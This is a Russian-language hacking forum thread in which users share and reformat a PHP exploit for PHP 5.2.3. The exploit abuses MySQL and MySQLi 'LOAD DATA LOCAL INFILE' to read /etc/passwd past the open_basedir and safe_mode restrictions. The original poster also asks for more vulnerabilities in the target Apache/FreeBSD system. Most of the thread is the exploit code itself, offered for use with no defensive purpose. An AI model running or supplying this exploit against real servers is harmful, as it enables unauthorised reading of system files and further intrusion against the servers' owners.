Apache/2.0.63 (FreeBSD) PHP/5.2.3

Discussion in 'Уязвимости' started by fasty, 26 Jun 2008.

  1. fasty

    fasty Member

    Joined:
    9 May 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    -10
    Нашол уязвимость на php 5.2.3

    PHP:
    <?php  file_get_contents('/etc/passwd');  $l mysql_connect("localhost""root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'"); mysql_close($l); mysql_connect("localhost""aaaa");  mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");  $result mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row chr(10);  ?>  MySQLi:  <?php  function r($fp, &$buf$len, &$err) { print fread($fp$len); }  $m = new mysqli('localhost''aaaa''''a'); $m->options(MYSQLI_OPT_LOCAL_INFILE1); $m->set_local_infile_handler("r"); $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $m->close();  ?>
    Что нужно для этого експлоита?доступ?
    Может ктота подскажет еще уязвимости на эту систему)
     
    #1 fasty, 26 Jun 2008
    Last edited: 26 Jun 2008
  2. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    представь данные в нормальном формате плз.
    чтобы удобно было читать, понять и дать тебе нормальный совет
     
  3. DimOnOID

    DimOnOID Banned

    Joined:
    5 Dec 2006
    Messages:
    407
    Likes Received:
    126
    Reputations:
    4
    Code:
    <?php
    
    file_get_contents('/etc/passwd');
    
    $l = mysql_connect("localhost", "root");
    mysql_query("CREATE DATABASE a");
    mysql_query("CREATE TABLE a.a (a varchar(1024))");
    mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
    mysql_close($l); mysql_connect("localhost", "aaaa");
    
    mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
    
    $result = mysql_query("SELECT a FROM a.a");
    while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);
    
    ?>
    
    MySQLi:
    
    <?php
    
    function r($fp, &$buf, $len, &$err) {
    print fread($fp, $len);
    }
    
    $m = new mysqli('localhost', 'aaaa', '', 'a');
    $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
    $m->set_local_infile_handler("r");
    $m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
    $m->close();
    
    ?>
     
  4. fasty

    fasty Member

    Joined:
    9 May 2008
    Messages:
    0
    Likes Received:
    6
    Reputations:
    -10
    Ага точно_)
    Уязвимость существует из-за ошибки при обработке SQL запросов, содержащих "LOCAL INFILE" внутри MySQL и MySQLi расширений. Злоумышленник может обойти ограничения директив "open_basedir" и "safe_mode"